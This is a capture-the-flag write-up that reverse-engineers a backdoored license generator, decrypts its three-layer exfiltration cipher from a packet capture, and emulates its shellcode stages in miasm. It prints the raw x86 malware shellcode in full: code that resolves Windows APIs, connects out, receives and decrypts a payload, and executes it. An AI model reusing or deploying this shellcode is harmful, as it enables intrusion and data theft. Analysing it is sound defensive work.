LicenseGenerator
Files
Download: rev_license_generator.zip
Challenge
Arodor has been distributing promotional license keys to users across the world. We suspect that there could be some backdoor in this ‘special gift’ - can you investigate?
We are handed a license generator binary along with a network capture. The goal is to reverse the binary’s behavior, understand how it encrypts the data it exfiltrates, and recover the hidden flag.
Approach
The binary unpacks and runs several stages of shellcode that communicate over the network. We used miasm to emulate the PE and step through each stage. The third key used by the final shellcode is built at runtime from the magic handshake bytes the first shellcode exchanges with the C2 (\x13\x37\xCA\xFE\xBA\xBE\x04\x20) — the final stage embeds the literal "uwuxxowo" and XORs it with those handshake bytes to form the eight-byte key (see the recvshellcode blob and the key=xor(b"uwuxxowo", ...) line in the solver). Since the exfiltrated data is also a known file format (a PNG), we can recover every keystream by known-plaintext and decrypt the capture directly.
Known-Plaintext Attack on the Encryption
The exfiltrated data is wrapped in three layers: a repeating XOR with one key, a byte-wise subtraction with a second key, and a final XOR with an eight-byte key. By recovering the keystreams from known plaintext (the captured ciphertext versus an expected file format), we can peel each layer back.
The script below loads a recovered ciphertext blob (aaa), applies the first XOR key (after de-obfuscating it with 0x55), reverses the subtraction layer (key de-obfuscated with 0x68), and finally applies the eight-byte XOR to reconstruct a PNG (lol.png).
from ctypes import c_uint8
xor_key = list(b"d!`\n;e!\n!=a!\nfa&,\n7 !\n,e \na\'f\n%\'f!!,\n69e&fo|")
for i in range(len(xor_key)):
xor_key[i] = xor_key[i] ^ 0x55
a = open("aaa", "rb").read()
b = []
for i in range(len(a)):
b.append((a[i] ^ xor_key[i % len(xor_key)]))
sub_key = list(b"\x1c\x00Y\x1b7\x1fY\x04\x047\x1b\x1d\x1a[\x04\x117\x03[[\x187\x1c\x00Y\x1b7\x18\x1aX\x1c[\x0b\x1c[\x0c")
for i in range(len(sub_key)):
sub_key[i] = sub_key[i] ^ 0x68
for i in range(len(b)):
b[i] = c_uint8(b[i] - sub_key[i % len(sub_key)]).value
second_xor_key = list(b"\x66\x40\xbf\x86\xc2\xd1\x73\x4f")
for i in range(len(b)):
b[i] = b[i] ^ (second_xor_key[i % 8]);
f = open("lol.png", "wb")
f.write(bytes(b))
f.close()
Emulating the PE with miasm
To extract the live shellcode stages we built a miasm sandbox around the PE. The script hooks the Windows networking APIs (ws2_32 / wsock32) so the sample believes it has a working socket, feeds it a canned C2 handshake, and drops in the next-stage shellcode the way the real server would.
Key pieces of the harness:
recv1/recv2/recv3stub out the stagedrecvcalls, supplying the magic bytes (\x13\x37\xCA\xFE\xBA\xBE\x04\x20) and lengths the protocol expects.recvshellcodeinjects the second-stage shellcode blob into memory at the address held inEDX.code_sentinelleCRC32recomputes the CRC32 (using the polynomial0x11EDC6F41) of the API names the shellcode resolves and flags the four target hashes, which is how we recovered the imported function names.saveshellcodedumps the fully decrypted final shellcode toshellcodeFinal.bin.
The hooked networking functions and breakpoints make the sample run to the point where the final shellcode is staged in memory, then dump it to disk.
from pdb import pm
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
from miasm.analysis.sandbox import Sandbox_Win_x86_32
from miasm.core.locationdb import LocationDB
from miasm.os_dep.common import get_win_str_a, get_win_str_w
import os, time, sys, crcmod
# Insert here user defined methods
# Parse arguments
parser = Sandbox_Win_x86_32.parser(description="PE sandboxer")
parser.add_argument("filename", help="PE Filename")
parser.add_argument("shellcode", help="Shellcode file")
options = parser.parse_args()
def hashfunc(function, print_hash=True ):
crc32_func = crcmod.mkCrcFun(0x11EDC6F41, initCrc=0, xorOut=0)
h = crc32_func((function).encode('utf-8'))
return h
def NtAllocateVirtualMemory(jitter):
print("ok")
jitter.cpu.EAX = 0
def ws2_32_connect(jitter):
jitter.cpu.EAX = 0
def ws2_32_recv(jitter):
jitter.cpu.EAX = 1
print("recv")
def recv1(jitter):
print(jitter.cpu.EAX)
jitter.cpu.EAX = 8
print("recv1")
return True
def recv2(jitter):
print(hex(jitter.cpu.EDX))
jitter.vm.set_mem(jitter.cpu.EDX, b"\x13\x37\xCA\xFE\xBA\xBE\x04\x20")
print("recv2")
return True
def recv3(jitter):
jitter.cpu.EAX = 538
print("recv3")
return True
def recvshellcode(jitter):
jitter.vm.set_mem(jitter.cpu.EDX, b"\xe7\xac\xbf\x87\xc2\xd1\xb4\x0a\x9e\x40\xbf\x86\xc2\xb5\xd2\x7f\x66\x40\xbf\x0d\x82\xdd\xf8\x0f\x72\xcb\xff\x96\x4b\x94\x83\xc4\x2e\x7c\x34\xca\xca\xa9\x72\x8e\xef\x0d\x53\x0d\x9b\xf1\x72\x8c\xef\x81\x8e\x79\x49\xe5\xc8\x4e\xa8\x71\x6d\xb7\x02\x7d\x72\x8d\x5a\x40\xca\x7f\x43\x2b\x82\x46\x66\x40\xcb\x85\x85\x3a\x96\xc4\x23\xb0\x34\xf3\x2e\x5a\x05\x6b\x67\x86\xb0\x31\xf6\xaf\xf8\x02\x8a\xcb\xf6\x9a\xc3\x10\xf8\x7b\xd7\x41\x79\x0f\x2b\x52\x9a\x6f\x37\xc9\x56\x05\x2b\xf5\x22\xb0\xb0\xf8\x99\xe0\xad\xad\x23\xf7\x6c\x76\x86\xe3\x92\x69\x15\x6e\x47\x6c\xef\x3e\xa4\xdb\x56\x68\x36\xf8\x9f\x8c\xa3\xf6\x23\xf7\x47\x4a\x93\xe3\x92\x69\x5f\x45\x51\x60\xef\x3e\xc8\xb7\x12\x69\x36\xf8\x9e\xbb\xa3\xf0\x23\xf7\x5d\x25\x9e\x8c\x92\x69\x17\x6e\x06\x4a\xef\x3f\xc2\xd1\x73\x4f\xdc\x6c\xbf\x86\xc2\x51\x47\x43\x33\xc3\x7e\x87\xfb\x00\x06\xba\xef\x25\x6f\xec\xee\x58\x16\x83\xa1\x05\x7f\x86\xc2\xd1\x73\x88\x23\xfc\xbf\x86\xc2\xd1\xb4\x0a\xde\x40\xbf\x86\xc2\x5a\x0e\x93\xef\xae\x3c\x68\x86\x5a\x3e\xaf\xdd\x40\xbf\x86\xc2\x58\xab\x7e\xb4\x11\x06\x8e\xc2\xd1\x73\xb8\x97\x19\x36\x56\xc3\x21\xf9\x4f\xef\xba\xbe\x5c\x48\xc3\x43\x9f\xef\xba\xbe\x5c\x4a\xd3\x30\x76\xad\x34\xbd\x6d\x1a\x69\x78\x53\x3d\x4c\xef\x3e\xd8\x89\x6f\x14\x36\xf8\xe6\x9d\xf5\xc9\x23\xf7\x7e\x77\xa3\x86\x92\x69\x44\x4c\x3d\x1b\xef\x3e\xd8\x8a\x77\x5e\x36\xf8\xbb\xb1\xd9\xcc\x23\xf7\x51\x5f\xe6\x82\x92\x69\x6f\x4f\x3f\x5b\xef\x3f\xc2\xd1\x73\x4f\xdc\x64\xbf\x86\xc2\x51\x47\x43\x0e\xc3\x7e\x87\xfb\x00\x06\xba\xef\x25\x3f\xec\xe6\x58\xd6\x33\x99\xbf\x40\x0d\xbf\x0d\xfa\xa1\xe7\xae\x3f\x86\xc2\xd1\xf8\x79\xed\x0d\x5f\x3d\xc2\xd1\x73\x4f\xef\x98\x8e\x54\x93\x68\x57\x4f\x66\x40\x48\x77\x9b\x58\xa3\x4e\x96\xca\xbf\x0f\x38\xd0\xa9\xc5\x74\x40\x6f\x0f\x38\xd0\xa9\xc7\x64\x03\x86\x4d\xb6\xd3\x98\x97\xed\x3d\x63\x0d\xb7\x01\xf8\x02\x86\xfb\xbf\x86\xc2\xd1\xfa\x97\x57\x92\xee\x3f\xee\xd1\x73\x4f\x91\xb1\xe6\x0f\x12\xd0\x83\xc5\x66\xc9\x45\x87\x18\x5b\x61\x7f\xb6\xc9\x45\x87\x18\x59\x71\x0c\x5f\x8b\xcb\x84\x29\x09\x19\x4f\x0c\x44\x36\x6e\x41\x39\x53\x1f\xed\x05\x47\xd6\x49\x84\xcb\xb0\xb4\x2a\xbf\x0d\x87\x31\x23\xc4\x23\x9c\xef\x0d\x87\x29\x23\xc4\x33\xf8\x40\x54\x43\x15\x73\x4e\x66\x40")
return True
def ws2_32_send(jitter):
jitter.cpu.EAX = 1
print("send")
def ws2_32_socket(jitter):
jitter.cpu.EAX = 0x3
def ws2_32_gethostbyname(jitter):
jitter.vm.add_memory_page(0x11111111,PAGE_READ | PAGE_WRITE, b"\x00"*100)
jitter.vm.set_mem(0x11111111+0x14, b"\x7f\x00\x00\x01")
jitter.cpu.EAX = 0x11111111
print(hex(jitter.cpu.EAX))
def code_sentinelleCRC32(jitter):
#print(get_win_str_a(jitter, jitter.cpu.ESI, 0x40))
if jitter.cpu.ESI > 0:
jitter.cpu.EDX = hashfunc(chr(jitter.cpu.EAX)+get_win_str_a(jitter, jitter.cpu.ESI, 0x40))
if jitter.cpu.EDX == 0xB128F4E7 or jitter.cpu.EDX == 0xF3596BDF or jitter.cpu.EDX == 0x95B93110 or jitter.cpu.EDX == 0x6C81586F:
print(hex(jitter.cpu.EDX),get_win_str_a(jitter, jitter.cpu.ESI, 0x40))
#print(hex(jitter.cpu.EDX))
return True
def code_sentinelle1(jitter):
jitter.cpu.EAX = 0x11111111
return True
def saveshellcode(jitter):
f = open("shellcodeFinal.bin", "wb")
f.write(jitter.vm.get_mem(jitter.cpu.ECX, 65535))
f.close()
print("Extraction done.")
return True
def code_sentinelle(jitter):
#print(jitter.cpu.ECX)
#print(hex(jitter.cpu.ESI))
#print(chr(jitter.cpu.EAX))
#print(jitter.libs.fad2cname[jitter.cpu.EDX])
#print(hex(jitter.cpu.EAX))
print(jitter.vm.get_mem(jitter.cpu.ECX, 65535))
#print(get_win_str_a(jitter, jitter.cpu.ESP + jitter.cpu.ECX, 0x1), end='')
#print(get_win_str_a(jitter, jitter.cpu.ESI, 0x40), end='')
#ree-windows-license.uwu
#hellgen
#print(get_win_str_a(jitter, 0x40000e8, 40))
return False
# Create sandbox
loc_db = LocationDB()
sb = Sandbox_Win_x86_32(loc_db, options.filename, options, globals())
data = open(options.shellcode,'rb').read()
run_addr = 0x4000000
#print(sb.jitter.user_globals)
sb.jitter.user_globals['ws2_32_WSAStartup']= sb.jitter.user_globals['wsock32_WSAStartup']
sb.jitter.user_globals['ntdll_NtAllocateVirtualMemory']= NtAllocateVirtualMemory
sb.jitter.user_globals['ws2_32_socket'] = ws2_32_socket
sb.jitter.user_globals['ws2_32_gethostbyname'] = ws2_32_gethostbyname
sb.jitter.user_globals['ws2_32_connect'] = ws2_32_connect
sb.jitter.user_globals['ws2_32_send'] = ws2_32_send
sb.jitter.user_globals['ws2_32_recv'] = ws2_32_recv
sb.jitter.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
sb.jitter.vm.add_memory_page(sb.jitter.cpu.EBP+0xffffff00, PAGE_READ | PAGE_WRITE, b"\x00"*0x1000)
#sb.jitter.vm.add_memory_page(run_addr+0x186, PAGE_READ | PAGE_WRITE, b"\x00"*0x1000)
#sb.jitter.vm.add_memory_page(0x7FFDF000+0x64, PAGE_READ | PAGE_WRITE, b"\x00\x00\x00\x03")
#sb.jitter.add_breakpoint(run_addr+0x274, code_sentinelle)
#sb.jitter.add_breakpoint(run_addr+0x280, code_sentinelle)
sb.jitter.add_breakpoint(run_addr+0x1df, code_sentinelle1)
#sb.jitter.add_breakpoint(run_addr+0x1f8, code_sentinelle)
sb.jitter.vm.add_memory_page(0x100007f, PAGE_READ | PAGE_WRITE, b"\x90"*4)
sb.jitter.vm.add_memory_page(0x140000, PAGE_READ | PAGE_WRITE, b"\x90"*100000)
sb.jitter.vm.add_memory_page(0x7ffdf002, PAGE_READ | PAGE_WRITE, b"\x90"*4)
sb.jitter.vm.set_mem(run_addr+0x3b5,b"\x90"*7)
sb.jitter.add_breakpoint(run_addr+0x3bc, code_sentinelleCRC32)
sb.jitter.add_breakpoint(run_addr+0x238, recv1)
sb.jitter.add_breakpoint(run_addr+0x239, recv2)
sb.jitter.add_breakpoint(run_addr+0x302, recv3)
sb.jitter.add_breakpoint(run_addr+0x31B, recvshellcode)
sb.jitter.add_breakpoint(run_addr+0x4B2, saveshellcode)
#sb.jitter.add_breakpoint(run_addr+0x35F, saveshellcode)
#sb.jitter.add_breakpoint(run_addr+0x4A2, saveshellcode)
# Run
sb.run(run_addr)
Recovering the Flag from the PCAP
With the encryption fully understood, we can reconstruct the layered keystreams directly from the analysis and decrypt the actual exfiltrated bytes carried in the network capture.
The solver below rebuilds the three keys:
data1is the first XOR keystream (the obfuscated bytes reversed and XOR’d with0x55).data2is the subtraction keystream (reversed and XOR’d with0x68).keyis the final eight-byte XOR key, recovered as"uwuxxowo"XOR’d with the magic handshake bytes\x13\x37\xca\xfe\xba\xbe\x04\x20.
It then walks the TCP payloads in capture.pcapng with pyshark, reassembles the encrypted stream, applies the three layers in order, and writes out the result as flag1.png.
from pwn import *
def decrypt(msg):
x=bytes.fromhex("7C6F6626")+bytes.fromhex("6539360A")+bytes.fromhex("2C212166")+bytes.fromhex("27250A66")+bytes.fromhex("27610A20")+bytes.fromhex("652C0A21")+bytes.fromhex("20370A2C")+bytes.fromhex("2661660A")+bytes.fromhex("21613D21")+bytes.fromhex("0A21653B")+bytes.fromhex("0A602164")
y=bytes.fromhex("0C5B1C0B")+bytes.fromhex("5B1C581A")+bytes.fromhex("18371B59")+bytes.fromhex("001C3718")+bytes.fromhex("5B5B0337")+bytes.fromhex("11045B1A")+bytes.fromhex("1D1B3704")+bytes.fromhex("04591F37")+bytes.fromhex("1B59001C")
data1=xor(x[::-1],0x55)
data2=xor(y[::-1],0x68)
key=xor(b"uwuxxowo",b"\x13\x37\xca\xfe\xba\xbe\x04\x20")
msg=bytearray(bytes.fromhex(msg))
for i in range(len(msg)):
msg[i]=(msg[i]^data1[i%0x2c])
for i in range(len(msg)):
msg[i]=(msg[i]-data2[i%0x24])&0xff
for i in range(len(msg)):
msg[i]=msg[i]^key[i%8]
return msg
import pyshark
pcap_file="./capture.pcapng"
capture = pyshark.FileCapture(pcap_file)
lists=[]
# Iterate over each packet
for packet in capture:
# Access the packet data as needed
if 'IP' in packet and 'TCP' in packet:
tcp_src_port = packet['TCP'].srcport
tcp_dst_port = packet['TCP'].dstport
try:
data = packet.tcp.payload
except:
data=""
lists.append((tcp_src_port,tcp_dst_port,data))
ctr=15
image=b""
enc_data=""
while ctr<len(lists):
if(lists[ctr][2]!=''):
while(lists[ctr][2]!=''):
enc_data+=''.join(lists[ctr][2].split(":"))
ctr+=1
ctr+=1
d=decrypt(enc_data)
image+=d
x=open("flag1.png","wb")
x.write(image)
x.close()
capture.close()
shellcode=[0x81, 0xEC, 0x00, 0x01, 0x00, 0x00, 0x89, 0xE0, 0xB9, 0x04,
0x00, 0x00, 0x00, 0x31, 0xD2, 0xF7, 0xF1, 0xB8, 0x79, 0x04,
0x00, 0x00, 0x01, 0xD0, 0xB9, 0x69, 0x00, 0x00, 0x00, 0x2D,
0x20, 0x04, 0x00, 0x00, 0x31, 0xC8, 0x64, 0x8B, 0x00, 0x89,
0x45, 0xFC, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x14, 0x8B, 0x00,
0x8B, 0x00, 0x8B, 0x40, 0x10, 0x89, 0x45, 0xF0, 0xB6, 0x96,
0x8B, 0x48, 0x3C, 0x8B, 0x4C, 0x08, 0x78, 0x01, 0xC1, 0x89,
0x4D, 0xEC, 0x8B, 0x59, 0x20, 0x01, 0xC3, 0x89, 0xC1, 0x31,
0xFF, 0x8B, 0x34, 0xBB, 0x01, 0xCE, 0x31, 0xD2, 0x31, 0xC0,
0xAC, 0x01, 0xC2, 0x3C, 0x00, 0x75, 0xF9, 0x81, 0xFA, 0x96,
0x04, 0x00, 0x00, 0x74, 0x03, 0x47, 0xEB, 0xE5, 0x8B, 0x45,
0xF0, 0x8B, 0x75, 0xEC, 0x8B, 0x76, 0x24, 0x01, 0xC6, 0x0F,
0xB7, 0x34, 0x7E, 0x8B, 0x4D, 0xEC, 0x8B, 0x49, 0x1C, 0x01,
0xC1, 0x8B, 0x34, 0xB1, 0x01, 0xC6, 0x89, 0x75, 0xF4, 0xBA,
0x5A, 0x5B, 0x69, 0x69, 0x52, 0xBA, 0x1E, 0x1A, 0x5B, 0x36,
0x52, 0xB9, 0x00, 0x00, 0x00, 0x00, 0xBA, 0x08, 0x00, 0x00,
0x00, 0x80, 0x34, 0x0C, 0x69, 0x83, 0xC1, 0x01, 0x39, 0xD1,
0x75, 0xF5, 0x54, 0xFF, 0xD6, 0x5A, 0x5A, 0x89, 0x45, 0xE8,
0x8B, 0x48, 0x3C, 0x8B, 0x4C, 0x08, 0x78, 0x01, 0xC1, 0x89,
0x4D, 0xE0, 0x8B, 0x59, 0x20, 0x01, 0xC3, 0x89, 0xC1, 0x31,
0xFF, 0xC7, 0x45, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x83, 0x7D,
0xB0, 0x06, 0x0F, 0x84, 0x9D, 0x00, 0x00, 0x00, 0x8B, 0x34,
0xBB, 0x01, 0xCE, 0x31, 0xD2, 0x31, 0xC0, 0xAC, 0x01, 0xC2,
0x3C, 0x00, 0x75, 0xF9, 0x81, 0xFA, 0xEA, 0x02, 0x00, 0x00,
0x75, 0x07, 0xB8, 0x24, 0x00, 0x00, 0x00, 0xEB, 0x4B, 0x81,
0xFA, 0x7A, 0x05, 0x00, 0x00, 0x75, 0x07, 0xB8, 0x28, 0x00,
0x00, 0x00, 0xEB, 0x3C, 0x81, 0xFA, 0x89, 0x02, 0x00, 0x00,
0x75, 0x07, 0xB8, 0x2C, 0x00, 0x00, 0x00, 0xEB, 0x2D, 0x81,
0xFA, 0xAA, 0x01, 0x00, 0x00, 0x75, 0x07, 0xB8, 0x30, 0x00,
0x00, 0x00, 0xEB, 0x1E, 0x81, 0xFA, 0xB0, 0x01, 0x00, 0x00,
0x75, 0x07, 0xB8, 0x34, 0x00, 0x00, 0x00, 0xEB, 0x0F, 0x81,
0xFA, 0xDE, 0x03, 0x00, 0x00, 0x75, 0x34, 0xB8, 0x38, 0x00,
0x00, 0x00, 0xEB, 0x00, 0x83, 0x45, 0xB0, 0x01, 0x56, 0x51,
0x50, 0x8B, 0x45, 0xE8, 0x8B, 0x75, 0xE0, 0x8B, 0x76, 0x24,
0x01, 0xC6, 0x0F, 0xB7, 0x34, 0x7E, 0x8B, 0x4D, 0xE0, 0x8B,
0x49, 0x1C, 0x01, 0xC1, 0x8B, 0x34, 0xB1, 0x01, 0xC6, 0x58,
0x55, 0x29, 0xC5, 0x89, 0x75, 0x00, 0x5D, 0x59, 0x5E, 0x47,
0xE9, 0x59, 0xFF, 0xFF, 0xFF, 0x81, 0xEC, 0x90, 0x01, 0x00,
0x00, 0x54, 0x68, 0x01, 0x01, 0x00, 0x00, 0x8B, 0x55, 0xC8,
0xFF, 0xD2, 0x31, 0xC0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x8B,
0x55, 0xD4, 0xFF, 0xD2, 0x89, 0x45, 0xAC, 0x31, 0xC0, 0x50,
0xB8, 0x1C, 0x47, 0x45, 0x47, 0x50, 0xB8, 0x57, 0x5C, 0x41,
0x57, 0x50, 0xB8, 0x1F, 0x5E, 0x5B, 0x51, 0x50, 0xB8, 0x56,
0x5D, 0x45, 0x41, 0x50, 0xB8, 0x1F, 0x45, 0x5B, 0x5C, 0x50,
0xB8, 0x54, 0x40, 0x57, 0x57, 0x50, 0xB9, 0x00, 0x00, 0x00,
0x00, 0xBA, 0x18, 0x00, 0x00, 0x00, 0x80, 0x34, 0x0C, 0x32,
0x83, 0xC1, 0x01, 0x39, 0xD1, 0x75, 0xF5, 0x54, 0x8B, 0x55,
0xD8, 0xFF, 0xD2, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
0x8B, 0x40, 0x14, 0x8B, 0x00, 0x50, 0xB8, 0x02, 0xFF, 0x05,
0x39, 0x30, 0xE4, 0x50, 0x54, 0x8B, 0x45, 0xAC, 0x50, 0x8B,
0x55, 0xDC, 0xFF, 0xD2, 0x5A, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x50, 0xB8, 0x61, 0x75, 0x74, 0x68, 0x50, 0x6A, 0x00, 0x6A,
0x04, 0x89, 0xE0, 0x83, 0xC0, 0x08, 0x50, 0x8B, 0x45, 0xAC,
0x50, 0x8B, 0x55, 0xD0, 0xFF, 0xD2, 0x58, 0x58, 0x68, 0xFF,
0x00, 0x00, 0x00, 0x89, 0xE0, 0x6A, 0x00, 0x6A, 0x01, 0x50,
0x8B, 0x45, 0xAC, 0x50, 0x8B, 0x55, 0xCC, 0xFF, 0xD2, 0x8B,
0x04, 0x24, 0x29, 0xC4, 0x89, 0xE2, 0x6A, 0x00, 0x50, 0x52,
0x8B, 0x45, 0xAC, 0x50, 0x8B, 0x55, 0xCC, 0xFF, 0xD2, 0x89,
0xE3, 0xB8, 0x75, 0x77, 0x75, 0x78, 0x5E, 0x31, 0xF0, 0xBF,
0x78, 0x6F, 0x77, 0x6F, 0x5E, 0x31, 0xF7, 0x57, 0x50, 0x89,
0x65, 0xA0, 0xB8, 0xFB, 0xF0, 0xF2, 0xF9, 0x50, 0xB8, 0xE4,
0xFF, 0xF2, 0xFB, 0x50, 0xB9, 0x00, 0x00, 0x00, 0x00, 0xBA,
0x08, 0x00, 0x00, 0x00, 0x80, 0x34, 0x0C, 0x97, 0x83, 0xC1,
0x01, 0x39, 0xD1, 0x75, 0xF5, 0x89, 0xE7, 0x8B, 0x75, 0xA0,
0xB9, 0x08, 0x00, 0x00, 0x00, 0xBB, 0x00, 0x00, 0x00, 0x00,
0x89, 0xD8, 0x31, 0xD2, 0x51, 0xB9, 0x08, 0x00, 0x00, 0x00,
0xF7, 0xF1, 0x59, 0x89, 0xD0, 0x01, 0xF0, 0x8A, 0x00, 0x89,
0xFA, 0x01, 0xDA, 0x8A, 0x12, 0x30, 0xD0, 0x89, 0xFA, 0x01,
0xDA, 0x88, 0x02, 0x43, 0x39, 0xCB, 0x74, 0x02, 0xEB, 0xD8,
0x8B, 0x45, 0xFC, 0x80, 0x78, 0x02, 0x00, 0x74, 0x1C, 0x89,
0xE0, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF7, 0xF1, 0xB8, 0x79,
0x04, 0x00, 0x00, 0x01, 0xD0, 0xB9, 0x69, 0x00, 0x00, 0x00,
0x2D, 0x20, 0x04, 0x00, 0x00, 0x31, 0xC8, 0x6A, 0x08, 0x89,
0xE0, 0x6A, 0x00, 0x6A, 0x01, 0x50, 0x8B, 0x45, 0xAC, 0x50,
0x8B, 0x55, 0xD0, 0xFF, 0xD2, 0x6A, 0x00, 0x6A, 0x08, 0x57,
0x8B, 0x45, 0xAC, 0x50, 0x8B, 0x55, 0xD0, 0xFF, 0xD2, 0x68,
0xFF, 0xFF, 0x00, 0x00, 0x89, 0xE0, 0x6A, 0x00, 0x6A, 0x02,
0x50, 0x8B, 0x45, 0xAC, 0x50, 0x8B, 0x55, 0xCC, 0xFF, 0xD2,
0x58, 0x89, 0x45, 0x94, 0x81, 0xEC, 0x00, 0x20, 0x00, 0x00,
0x89, 0xE2, 0x6A, 0x00, 0x50, 0x52, 0x8B, 0x45, 0xAC, 0x50,
0x8B, 0x55, 0xCC, 0xFF, 0xD2, 0x89, 0xE3, 0x89, 0x65, 0x90,
0x89, 0xE7, 0x8B, 0x75, 0xA0, 0x8B, 0x4D, 0x94, 0xBB, 0x00,
0x00, 0x00, 0x00, 0x89, 0xD8, 0x31, 0xD2, 0x51, 0xB9, 0x08,
0x00, 0x00, 0x00, 0xF7, 0xF1, 0x59, 0x89, 0xD0, 0x01, 0xF0,
0x8A, 0x00, 0x89, 0xFA, 0x01, 0xDA, 0x8A, 0x12, 0x30, 0xD0,
0x89, 0xFA, 0x01, 0xDA, 0x88, 0x02, 0x43, 0x39, 0xCB, 0x74,
0x02, 0xEB, 0xD8, 0x8B, 0x75, 0xF4, 0xBA, 0x6C, 0x00, 0x00,
0x00, 0x52, 0xBA, 0x6E, 0x74, 0x64, 0x6C, 0x52, 0x54, 0xFF,
0xD6, 0x5A, 0x5A, 0x89, 0x45, 0xE8, 0x8B, 0x48, 0x3C, 0x8B,
0x4C, 0x08, 0x78, 0x01, 0xC1, 0x89, 0x4D, 0xE0, 0x8B, 0x59,
0x20, 0x01, 0xC3, 0x89, 0xC1, 0x31, 0xFF, 0xC7, 0x45, 0xB0,
0x00, 0x00, 0x00, 0x00, 0x83, 0x7D, 0xB0, 0x04, 0x0F, 0x84,
0x8F, 0x00, 0x00, 0x00, 0x8B, 0x34, 0xBB, 0x01, 0xCE, 0x31,
0xD2, 0x31, 0xC0, 0xC7, 0x45, 0xA8, 0x00, 0x00, 0x00, 0x00,
0xAC, 0x83, 0x45, 0xA8, 0x01, 0x3C, 0x00, 0x74, 0x07, 0xF2,
0x0F, 0x38, 0xF0, 0xD0, 0xEB, 0xF0, 0x81, 0xFA, 0xE7, 0xF4,
0x28, 0xB1, 0x75, 0x07, 0xB8, 0x24, 0x00, 0x00, 0x00, 0xEB,
0x2D, 0x81, 0xFA, 0xDF, 0x6B, 0x59, 0xF3, 0x75, 0x07, 0xB8,
0x28, 0x00, 0x00, 0x00, 0xEB, 0x1E, 0x81, 0xFA, 0x10, 0x31,
0xB9, 0x95, 0x75, 0x07, 0xB8, 0x2C, 0x00, 0x00, 0x00, 0xEB,
0x0F, 0x81, 0xFA, 0x6F, 0x58, 0x81, 0x6C, 0x75, 0x34, 0xB8,
0x34, 0x00, 0x00, 0x00, 0xEB, 0x00, 0x83, 0x45, 0xB0, 0x01,
0x56, 0x51, 0x50, 0x8B, 0x45, 0xE8, 0x8B, 0x75, 0xE0, 0x8B,
0x76, 0x24, 0x01, 0xC6, 0x0F, 0xB7, 0x34, 0x7E, 0x8B, 0x4D,
0xE0, 0x8B, 0x49, 0x1C, 0x01, 0xC1, 0x8B, 0x34, 0xB1, 0x01,
0xC6, 0x58, 0x55, 0x29, 0xC5, 0x89, 0x75, 0x00, 0x5D, 0x59,
0x5E, 0x47, 0xE9, 0x67, 0xFF, 0xFF, 0xFF, 0x8B, 0x45, 0xFC,
0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x14, 0x8B, 0x00, 0x8B, 0x00,
0x8B, 0x40, 0x10, 0x89, 0x45, 0xF0, 0x8B, 0x48, 0x3C, 0x8B,
0x4C, 0x08, 0x78, 0x01, 0xC1, 0x89, 0x4D, 0xEC, 0x8B, 0x59,
0x20, 0x01, 0xC3, 0x89, 0xC1, 0x31, 0xFF, 0x8B, 0x34, 0xBB,
0x01, 0xCE, 0x31, 0xD2, 0x31, 0xC0, 0xAC, 0x01, 0xC2, 0x3C,
0x00, 0x75, 0xF9, 0x81, 0xFA, 0xE2, 0x06, 0x00, 0x00, 0x74,
0x03, 0x47, 0xEB, 0xE5, 0x8B, 0x45, 0xF0, 0x8B, 0x75, 0xEC,
0x8B, 0x76, 0x24, 0x01, 0xC6, 0x0F, 0xB7, 0x34, 0x7E, 0x8B,
0x4D, 0xEC, 0x8B, 0x49, 0x1C, 0x01, 0xC1, 0x8B, 0x34, 0xB1,
0x01, 0xC6, 0xFF, 0xD6, 0x89, 0x45, 0xC8, 0x6A, 0x00, 0x89,
0xE3, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x89, 0xE9,
0x83, 0xE9, 0x6C, 0x51, 0x6A, 0x00, 0x53, 0x50, 0x8B, 0x55,
0xDC, 0xFF, 0xD2, 0x6A, 0x00, 0x8B, 0x4D, 0x94, 0x51, 0x8B,
0x4D, 0x90, 0x51, 0x8B, 0x1B, 0x89, 0x9D, 0x70, 0xFF, 0xFF,
0xFF, 0x53, 0x8B, 0x4D, 0xC8, 0x51, 0x8B, 0x55, 0xD4, 0xFF,
0xD2, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8B, 0x9D, 0x70,
0xFF, 0xFF, 0xFF, 0xB9, 0x09, 0x00, 0x00, 0x00, 0x01, 0xD9,
0x8B, 0x7D, 0xAC, 0x89, 0x39, 0x8B, 0x75, 0xA0, 0xB9, 0xDB,
0x00, 0x00, 0x00, 0x01, 0xD9, 0x8B, 0x7E, 0x04, 0x89, 0x39,
0xB9, 0xE2, 0x00, 0x00, 0x00, 0x01, 0xD9, 0x8B, 0x3E, 0x89,
0x39, 0xB9, 0xE9, 0x00, 0x00, 0x00, 0x01, 0xD9, 0x8B, 0x7D,
0xD0, 0x89, 0x39, 0x53, 0xFF, 0xD3, 0x81, 0xC4, 0x90, 0x01,
0x00, 0x00, 0x81, 0xC4, 0x00, 0x01, 0x00, 0x00, 0xC3, 0x00]
# f=open('shellcode','wb')
# f.write(bytearray(shellcode))
# f.close()
Flag
Decrypting the captured TCP stream with the recovered three-layer keystream reconstructs flag1.png, which contains the flag.